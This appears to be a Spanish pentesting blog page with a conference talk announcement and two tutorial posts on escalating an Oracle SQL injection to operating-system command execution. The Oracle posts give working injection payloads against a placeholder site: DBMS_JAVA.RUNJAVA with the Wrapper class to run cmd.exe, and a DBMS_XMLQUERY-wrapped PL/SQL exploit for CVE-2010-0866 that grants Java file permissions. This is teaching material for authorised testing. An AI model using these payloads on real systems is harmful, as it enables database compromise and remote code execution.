Ponente en ConectaCON 2013

Los próximos días 9 y 10 de Mayo estaré en Jaén participando como ponente en las conferencias ConectaCON, que este año organizan la segunda edición de su congreso.

La charla se titula "Offensive Man-in-the-Middle", y es una aproximación un poco más ofensiva de lo habitual al clásico "Man-in-the-Middle" en el que tradicionalmente se pretende obtener información de forma pasiva o, como mucho, levemente activa (downgrade attacks y similares). En esta ocasión vamos a ver como realizar modificaciones en el propio contenido de las conexiones, de tal forma que consigamos obtener más información, o incluso llegar a tomar el control de la máquina, todo ello sin que se percate de nada de lo ocurrido.

Pero bueno, esto solo es mi charla, los asistentes a la ConectaCON de este año podrán disfrutar de charlas de gente como: Lorenzo Martinez, Juan Garrido, Pepelux, Dabo, Bernardo Quintero, Daniel Medianero, Alejandro Nolla y Dani Kachakil. Un par de ellas ya tuve la oportunidad de verlas en el cumpleaños de este blog que celebramos hace unos meses, y os aseguro que son muy interesantes y divertidas.

El horario de las charlas podéis encontrarlo AQUÍ o podéis directamente buscar la información que necesitéis en la web oficial del congreso AQUÍ.

El evento es gratuito y al ladito del fin de semana, así que no tenéis excusa para no pasaros a pasar un par de días con nosotros y aprovechar el viaje para hacer turismo por la zona el fin de semana. Yo al menos pienso hacerlo :P

Os dejo el video promocional de las conferencias, que a mi personalmente me ha encantado, aunque falta algún ponente por añadir que se ha incorporado a última hora.

SQL Injection hasta la cocina - Oracle (y II)

Hacer un par de días veíamos en ESTE post como podíamos ejecutar comandos del sistema operativo en una base de datos Oracle, pero nos quedamos con la limitación que teníamos que conseguir de alguna manera elevar privilegios y obtener permisos de java.io.FilePermission.

La manera de elevar privilegios está muy ligada a la versión de la base de datos y a su nivel de parcheo, ya que de vez en cuando se descubren vulnerabilidades que podrían ayudarnos a nuestros fines. La mejor manera de saber que opciones tenemos es hacer un fingerprinting de la base de datos  buscar esta versión en sitios web como Secunia o SecurityFocus, para que opciones tenemos.

Una de las vulnerabilidades que podemos utilizar es la etiquetada como CVE-2010-0866, que fue descubierta por el gran experto en base de datos David Litchfield. Esta vulnerabilidad permite, a cualquier usuario de la base de datos auto-asignarse privilegios de Java, con lo que es más que suficiente para lo que pretendemos.

Explotando esta vulnerabilidad conseguiríamos los privilegios necesarios para ejecutar todas las acciones que veíamos en el anterior post. Solo tenemos una pega ¿Cómo metemos este exploit en una sentencia SQL dentro de la inyección? ¿No os parece una SQL un poco rara? Efectivamente, la vulnerabilidad no puede ser explotada desde una sentencia SQL "normal", sino que es necesario disponer de un acceso PL/SQL, que podríamos decir que es como si fuera un lenguaje de scripting interno de la propia base de datos Oracle que nos permite mucha más potencia que una simple SQL, como definir variables, hacer bucles, etc ¿Cómo hacemos entonces para ejecutar esto? Veámoslo.

En la OWASP AppSec DC de 2012, Sumit Siddharth nos contaba una técnica de la que él mismo decía que lo cambiaba todo en el mundo de la explotación de vulnerabilidades a través de Inyecciones SQL. La técnica consistía en la existencia de un paquete llamado "DBMS_XMLQUERY" que contiene diversas funciones que permiten la ejecución de comandos PL/SQL, pero que pueden ser llamadas desde una SQL "normal". Empleando esta técnica, podemos ejecutar exploits en PL/SQL contra nuestra base de datos objetivo, para así conseguir elevar privilegios.

Según las pruebas que he hecho, lo que menos problemas da es crear una nueva función en la base de datos con el exploit que habíamos mencionado anteriormente. Yo he llamado a la función "givemethepower()", pero si estáis haciendo un Pentest profesional yo os recomiendo que le pongáis un nombre que identifique a vuestra empresa, para que sea más fácil de identificar.

http://www.vulnerable.com/oracle.asp?id=1 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function givemethepower return number is PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;''; commit; end;') is not null --

Una vez creada la función, únicamente tenemos que hacer una segunda llamada utilizándola, para que el exploit se lance y se produzca la elevación de privilegios de este usuario.

Por supuesto, os recomiendo que vayáis anotando en todo momento que cosas tocáis, para luego poder volver sobre vuestros pasos y limpiarlo todo o, en caso de que no podáis, pasarle el listado a los administradores. Pero vayamos al grano y elevemos privilegios de una vez:

http://www.vulnerable.com/oracle.asp?id=1 and givemethepower()=1

A partir de este punto, estamos en el punto de partida del ejercicio anterior, con lo que podríamos repetir el proceso para ejecutar comandos del sistema operativo, pero... seguro que se os ocurren cosas mejores que hacer que crear un ficherito en c:\ ¿Verdad?

Pero bueno, para eso necesitaríamos subir el binario de Meterpreter al servidor comprometido, pero no puede ser tan difícil si herramientas como SQLMap y SQLNinja lo hacen con los Microsoft SQL Server ¿No? Otro días nos meteremos con esto en profundidad.

SQL Injection hasta la cocina - Oracle (I)

¿Os suena este título? A los que lleven tiempo siguiendo este blog les sonará un post llamado SQL Injection hasta la cocina - MS SQL Server que fue publicado hará algo más de dos años, y en el que usábamos diferentes herramientas para comprometer una base de datos Microsoft SQL Server a través de una SQL Injection.

En este caso, vamos a intentar repetir el proceso pero esta vez con una base de datos Oracle 11g. Al contrario de lo que sucede con MS SQL Server, en Oracle no existe un comando equivalente a "xp_cmdshell" que nos permita directamente ejecutar comandos del sistema operativo, pero sí que existen algunas funciones y procedimientos de las que podemos abusar para conseguir nuestro objetivo.

Para este primer post vamos a suponer que tenemos una inyección sql con un usuario con todos los privilegios del mundo, y veremos como conseguiríamos ejecutar comandos. En el próximo post veremos como podemos elevar privilegios en el caso de que no seamos tan afortunados de encontrar unos privilegios tan mal asignados. Para las demostraciones utilizaremos una URL como la siguiente, que contiene una vulnerabilidad en su parámetro "id":

http://www.vulnerable.com/oracle.asp?id=1

A pesar de no existir una función equivalente a "xp_cmdshell", Oracle permite diferentes acciones sobre clases por medio del paquete DBMS_JAVA. Una de las funciones de este paquete que nos permite llamar a clases java es RUNJAVA(), que será la que utilizaremos en este post para ejecutar código. Vale, está claro, podemos ejecutar clases java que haya en nuestro servidor objetivo peor... ¿hay alguna clase que venga preinstalada y de la que podamos abusar parar ejecutar código? La respuesta es SI: Existe una clase llamada "Wrapper" que, como vamos a ver a continuación, es exactamente lo que andábamos buscando:

Como podéis ver, esta clase java simplemente coge lo que le hayamos pasado como parámetros y directamente lo ejecuta sobre el sistema operativo, así que ya tenemos una pista del tipo de sentencia SQL que vamos a tener que realizar para conseguir ejecución remota de comandos:

SELECT dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c  echo PWNED > c:\\\\pwned.txt') FROM DUAL);

Recordad que las contrabarras tienen que ser escapadas para que lleguen al sistema operativo tal y como queremos. En este caso, estaremos creando un fichero en c:\ con el contenido "PWNED", que es una prueba bastante inútil en si mismo, pero que al menos nos muestra si estamos consiguiente ejecución de comandos o no.

Esta sentencia, además, podemos insertarla perfectamente en una Inyección SQL como haríamos con cualquier condición, de la siguiente forma:

http://www.vulnerable.com/dbaoracle.asp?id=1 and (SELECT dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c  echo PWNED > c:\\\\pwned.txt') FROM DUAL) IS NOT NULL -- 

¡Qué fácil! ¿Verdad?

Pues no, lo cierto es que no es tan fácil ¿Recordáis que comentábamos que en este caso asumimos que el usuario de base de datos de la aplicación tiene "todos los privilegios del mundo"? Tampoco necesitamos todos los del mundo, sino que con uno solo nos basta: java.io.FilePermission. Este permiso, sin embargo, no se asigna por defecto, y yo no he visto muchos sitios donde los administradores lo hayan asignado muy a la ligera, así que podemos asumir que en una Inyección SQL real no nos vamos a encontrar con estos privilegios.

Ya, ya sé lo que estáis pensando, que vaya post inútil os he contado ¿verdad? Bueno, digamos que todo lo que os acabo de contar os vale como un segundo paso de la explotación, una vez que ya hayamos conseguido elevar a los privilegios necesarios.

Pero... ¿Cómo vamos a hacer para elevar privilegios? Lo veremos en el siguiente post.